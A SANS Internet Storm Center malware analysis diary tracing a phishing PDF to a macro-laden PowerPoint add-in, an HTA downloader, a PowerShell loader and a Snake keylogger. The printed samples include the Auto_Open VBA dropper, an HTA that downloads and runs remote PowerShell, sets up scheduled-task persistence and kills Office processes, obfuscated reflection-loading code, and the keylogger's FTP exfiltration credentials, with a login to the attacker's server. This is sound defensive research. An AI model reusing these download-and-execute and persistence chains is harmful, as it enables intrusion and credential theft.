SANS ISC: Simple PDF Linking to Malicious Content - SANS Internet Storm Center SANS Site Network Current Site SANS Internet Storm Center Other SANS Sites Help Graduate Degree Programs Security Training Security Certification Security Awareness Training Penetration Testing Industrial Control Systems Cyber Defense Foundations DFIR Software Security Government OnSite Training SANS ISC InfoSec Forums

- ← Next Thread
- Previous Thread →

Simple PDF Linking to Malicious Content

Last week, I found an interesting piece of phishing based on a PDF file. Today, most of the PDF files that are delivered to end-user are not malicic common because they are (usually) not blocked by common filters at the perimeter.

The PDF file (SHA256:f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01) has a VT score of 1/58 and display a nice mes

The PDF is obfuscated in a classic way, all objects are embedded in an Object Stream:

```
remnux@remnux:/MalwareZoo/20220425$ pdfid.py f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -n
PDFiD 0.2.8 foo.pdf
 PDF Header: %PDF-1.5
 obj                   25
 endobj                25
 stream                23
 endstream             23
 startxref              1
 /ObjStm                1
 /AcroForm              1
```

The file has a /URI keyword that points to the malicious URL:

```
remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -k /URI
  /URI (hxxps://www[.]mediafire[.]com/file/fwxhm1vylsg3nl3/7.ppam/file)
```

To visit the malicious URL, the victim has to click on the picture displayed above, this is made in the PDF file via the /Annot object:

```
remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -o 22
obj 22 0
 Containing /ObjStm: 1 0
 Type: /Annot
 Referencing: 27 0 R, 28 0 R

  <<
    /Type /Annot
    /Subtype /Link
    /A 27 0 R
    /Rect [1 0 613 791]
    /BS 28 0 R
  >>

remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -o 27
obj 27 0
 Containing /ObjStm: 1 0
 Type: /Action
 Referencing:

  <<
    /Type /Action
    /S /URI
    /URI (hxxps://www[.]mediafire[.]com/file/fwxhm1vylsg3nl3/7.ppam/file)
  >>
```

When you visit the URL, you fill fetch a malicious PowerPoint file: 7.ppam (SHA256:2198abfdf736586893afe8e15153369299d3164e036920ff19c8

```
remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam
Index Filename                                      Encrypted Timestamp
    1 [Content_Types].xml                                 0 2022-04-06 13:56:56
    2 _rels/.rels                                         0 1980-01-01 00:00:00
    3 ppt/_rels/presentation.xml.rels                     0 2022-04-06 13:57:10
    4 ppt/presentation.xml                                0 1980-01-01 00:00:00
    5 ppt/slideLayouts/_rels/slideLayout5.xml.rels        0 1980-01-01 00:00:00
    6 ppt/slideLayouts/_rels/slideLayout8.xml.rels        0 1980-01-01 00:00:00
    7 ppt/slideLayouts/_rels/slideLayout9.xml.rels        0 1980-01-01 00:00:00
    8 ppt/slideLayouts/_rels/slideLayout10.xml.rels       0 1980-01-01 00:00:00
    9 ppt/slideLayouts/_rels/slideLayout11.xml.rels       0 1980-01-01 00:00:00
   10 ppt/slideLayouts/_rels/slideLayout7.xml.rels        0 1980-01-01 00:00:00
   11 ppt/slideLayouts/_rels/slideLayout6.xml.rels        0 1980-01-01 00:00:00
   12 ppt/slideMasters/_rels/slideMaster1.xml.rels        0 1980-01-01 00:00:00
   13 ppt/slideLayouts/_rels/slideLayout1.xml.rels        0 1980-01-01 00:00:00
   14 ppt/slideLayouts/_rels/slideLayout2.xml.rels        0 1980-01-01 00:00:00
   15 ppt/slideLayouts/_rels/slideLayout3.xml.rels        0 1980-01-01 00:00:00
   16 ppt/slideLayouts/slideLayout11.xml                  0 1980-01-01 00:00:00
   17 ppt/slideLayouts/slideLayout10.xml                  0 1980-01-01 00:00:00
   18 ppt/slideLayouts/slideLayout9.xml                   0 1980-01-01 00:00:00
   19 ppt/slideMasters/slideMaster1.xml                   0 1980-01-01 00:00:00
   20 ppt/slideLayouts/slideLayout1.xml                   0 1980-01-01 00:00:00
   21 ppt/slideLayouts/slideLayout2.xml                   0 1980-01-01 00:00:00
   22 ppt/slideLayouts/slideLayout3.xml                   0 1980-01-01 00:00:00
   23 ppt/slideLayouts/slideLayout4.xml                   0 1980-01-01 00:00:00
   24 ppt/slideLayouts/slideLayout5.xml                   0 1980-01-01 00:00:00
   25 ppt/slideLayouts/slideLayout6.xml                   0 1980-01-01 00:00:00
   26 ppt/slideLayouts/slideLayout7.xml                   0 1980-01-01 00:00:00
   27 ppt/slideLayouts/slideLayout8.xml                   0 1980-01-01 00:00:00
   28 ppt/slideLayouts/_rels/slideLayout4.xml.rels        0 1980-01-01 00:00:00
   29 ppt/theme/theme1.xml                                0 1980-01-01 00:00:00
   30 ppt/ksjksj.~text~TEXT~TEXT~                         0 1980-01-01 00:00:00
   31 docProps/thumbnail.jpeg                             0 2022-02-07 22:50:16
   32 ppt/presProps.xml                                   0 1980-01-01 00:00:00
   33 ppt/tableStyles.xml                                 0 1980-01-01 00:00:00
   34 ppt/viewProps.xml                                   0 1980-01-01 00:00:00
   35 docProps/app.xml                                    0 1980-01-01 00:00:00
   36 docProps/core.xml                                   0 1980-01-01 00:00:00
```

The stream ID 30 looks the most interesting. It contains indeed a macro:

```
remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam -s 30 -d | oledump.py
  1:       516 'PROJECT'
  2:        26 'PROJECTwm'
  3: M    5457 'VBA/Module1'
  4:      2463 'VBA/_VBA_PROJECT'
  5:       529 'VBA/dir'

remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam -s 30 -d | oledump.py -s 3 -v
Attribute VB_Name = "Module1"
Sub Auto_Open()

:::::: MsgBox "error! Re-install office"::::::: Dim koaksdokasd As String:::::: koakosdk = "!@##!!@%^@^^n&&$%#g&&$%#tcar:":::::: koakos
askjdjawjkdokawod = Replace(askjdjawjkdokawod, "askjdjawjkdokawod", "W"):::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "5", "i'

:::::: koaksdokasd = "C:\Users\Public\update.js":::::: Close:::::     Open koaksdokasd For Output As #1:::::: Print #1, "function _0x
['SpawnInstance_','30XpBDce','C:\x5cProgramData\x5cddond.com','2WjTghW','Win32_ProcessStartup','3551556ACfgms','CopyFile','1902954vylc
S'];"

:::::: Print #1, "_0x98da=function(){return _0x4db6f6;};return _0x98da();}var _0x550d40=_0x2a39;(function(_0x3935a0,_0x1de856){var _0x
parseInt(_0x57a7a7(0x1ac))/0x5)+parseInt(_0x57a7a7(0x1a8))/0x6*(parseInt(_0x57a7a7(0x1aa))/0x7)+parseInt(_0x57a7a7(0x19c))/0x8*(parse

:::::: Print #1, "if(_0x2a1df1===_0x1de856)break;else _0xff11fe['push'](_0xff11fe['shift']());}catch(_0x589b6a){_0xff11fe['push'](_0xf
w32ps=GetObject(_0x550d40(0x1ad))[_0x550d40(0x1a9)](_0x550d40(0x1a5));w32ps[_0x550d40(0x1a1)](),w32ps[_0x550d40(0x1ab)]=0x0;var rtrnCo
. _
Get(askjdjawjkdokawod) _
. _
Create ("wscript C:\Users\Public\update.js")
End Sub
```

No need to deobfuscate the macro completely, we see interesting strings (in red). The next payload is downloaded and then executed through ms

```
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID="CS"
APPLICATIONNAME="Downloader"
WINDOWSTATE="minimize"
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="no"
CAPTION="no"
SHOWINTASKBAR="no">

<script>
chuchukukukaokiwDasidow = new ActiveXObject('Wscript.Shell');
kiii = "C:\\ProgramData\\ESETNONU.com";

var king = new ActiveXObject("Scripting.FileSystemObject");var pit = king.CopyFile ("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\P
iii);

cmd = "C:\\ProgramData\\ESETNONU.com -EP B -NoP -c i'e'x([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('hxxps://www[.
/w2uuz1cy4cl2gup/7.dll/file').GetResponse().GetResponseStream()).ReadToend());";

var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');w32ps.SpawnInstance_();w32ps.ShowWindow=0;var rtrnCode=GetObject('winmgm
Process').Create(cmd,null,w32ps,null);

chuchukukukaokiwDasidow.Run('schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr """%programdata%\\milon.com' + '""""""' + 'hxxps
com/file/3k4f9iglvljn9kt/7.htm/file"""',0);

megamon = "C:\\ProgramData\\milon.com";
var dihearter = new ActiveXObject("Scripting.FileSystemObject");var pit = dihearter.CopyFile ("C:\\Windows\\System32\\mshta.exe", mega

chuchukukukaokiwDasidow.Run("taskkill /f /im WinWord.exe",0);
chuchukukukaokiwDasidow.Run("taskkill /f /im Excel.exe",0);
chuchukukukaokiwDasidow.Run("taskkill /f /im POWERPNT.exe",0);

window.close();

</script>
</head>
<body>
</body>
</html>
```

You can see that the script implements persistence through a scheduled task and tries also to kill some processes. It fetches the next stage again

```
remnux@remnux:/MalwareZoo/20220425$ base64dump.py 7.dll
ID  Size    Encoded          Decoded          md5 decoded
--  ----    -------          -------          -----------
 1:       4 Text             M.m              3d0b353fa22a0001c9a7fda13f7c638e
 2:       8 Encoding         .w(v).           02b746b5b6358014a5294544d71a4dd7
 3:      16 FromBase64String ..&.......).     4cfff9a87d891e1961d358c98991e469
 4:    3560 QWRkLVR5cGUgLXR5 Add-Type -typede 0a9525d9ff1e87418c0b5c496546f889
 5:       4 byte             o+^              50d0380b0362cc343a78fa4231fffe0f
 6:       4 nona             ...              8a773bb6add7d540b7c92c1ec8b22870
 7:       4 Text             M.m              3d0b353fa22a0001c9a7fda13f7c638e
 8:       8 Encoding         .w(v).           02b746b5b6358014a5294544d71a4dd7
 9:      16 FromBase64String ..&.......).     4cfff9a87d891e1961d358c98991e469
10:   53872 W2J5dGVbXV0gJFNU [byte[]] $STRDYF adddffbf83acb22aaeccc45b897e99c3
```

The most interesting stream IDs look to be 4 and 10. Stream ID 4 contains the code to deobfuscate the second one. Let's check ID 10:

```
[byte[]] $STRDYFUGIHUYTYRTESRDYUGIRI =@(31,139,8,0,0,0,0,0,4,0,237,125,9,96,91,213,177,232,185,87,210,213,98,89,182,188,39,177,19,101,
... Stuff deleted ...
,169,182,152,105,157,58,250,129,8,15,178,241,99,153,24,104,242,117,245,190,185,254,7,175,109,194,239,216,213,150,255,179,21,249,230,25

[byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-DecompressedByteArray $nona
[byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI

$FGCHJBKHVGCFHJVBKNBHVGJB = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG -TypeName 'System.Collections.ArrayList';
$FGCHJBKHVGCFHJVBKNBHVGJB.Add("W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRSRFNGR1RGSFlHVUpIS0dZRlREUlNSRFRGWUdKVUhLRERSVEZZRykuR2V0VHlwZSg

$FGCHJBKHVGCFHJVBKNBHVGJBA = COMBINEMEANINGSCOBOLTPOTASSIUM($FGCHJBKHVGCFHJVBKNBHVGJB)

$RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($FGCHJBKHVGCFHJVBKNBHVGJBA);try{$n=0;while($n -lt 3){&(GCM I*e-E'
[Reflection.Assembly]::Load($RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType('projFUD.PA').GetMethod('Execute').Invoke($null,[object[]
```

The scripts dumps and executes a PE file (SHA256:039c261036b80fd500607279933c43c4f1c78fdba1b54a9edbc8217df49ec154) that is not pres

The first analysis reports it as a Snake keylogger:

```
{
  "family": "snakekeylogger",
  "rule": "SnakeKeylogger",
  "credentials": [
    {
       "protocol": "ftp",
       "host": "ftp://103[.]147[.]185[.]85/",
       "port": 21,
       "username": "bvhfgas7",
       "password": "xxxxxxxx"
    }
  ]
}
```

The malware seems active based on the collected data that I found:

```
remnux@remnux:/MalwareZoo/20220425$ ftp 103[.]147[.]185[.]85
Connected to 103[.]147[.]185[.]85.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (103[.]147[.]185[.]85:root): bvhfgas7
331 Password required for bvhfgas7
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||65003|)
150 Connection accepted
-rw-r--r-- 1 ftp ftp           316 Apr 05 02:06 AMAZING-AVOCADO - Passwords ID - ZyiAEnXWZP1101827263.txt
-rw-r--r-- 1 ftp ftp           316 Apr 05 02:06 AMAZING-AVOCADO - Passwords ID - ZyiAEnXWZP1872355191.txt
-rw-r--r-- 1 ftp ftp           293 Apr 24 22:06 AUVQQRRF - Passwords ID - ZyiAEnXWZP532723221.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP1110184397.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP1883154258.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:52 CPJISPWT - Passwords ID - ZyiAEnXWZP2014006797.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP2067984079.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP384268998.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP506198539.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP573982685.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:52 CPJISPWT - Passwords ID - ZyiAEnXWZP637051078.txt
-rw-r--r-- 1 ftp ftp           292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP878300114.txt
-rw-r--r-- 1 ftp ftp           301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1360583859.txt
-rw-r--r-- 1 ftp ftp           301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1592468142.txt
-rw-r--r-- 1 ftp ftp           301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1711955750.txt
-rw-r--r-- 1 ftp ftp           301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1868796841.txt
-rw-r--r-- 1 ftp ftp           300 Apr 04 23:18 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP609212224.txt
-rw-r--r-- 1 ftp ftp           293 Apr 24 22:06 JVJHUWZP - Passwords ID - ZyiAEnXWZP1117034868.txt
-rw-r--r-- 1 ftp ftp            38 Mar 29 20:43 Snake Keylogger - YrTVKTaWocPKgCyA - 222139415.txt
-rw-r--r-- 1 ftp ftp           293 Apr 24 22:11 WIN7X64 - Passwords ID - ZyiAEnXWZP1161416015.txt
226 Transfer OK
```


[1] https://isc.sans.edu/forums/diary/Analyzing+a+Phishing+Word+Document/28562/
[2] https://www.virustotal.com/gui/file/f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01
[3] https://www.virustotal.com/gui/file/2198abfdf736586893afe8e15153369299d3164e036920ff19c83043ba4ce54b
[4] https://bazaar.abuse.ch/sample/039c261036b80fd500607279933c43c4f1c78fdba1b54a9edbc8217df49ec154/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS London June 2022

- ← Next Thread
- Previous Thread →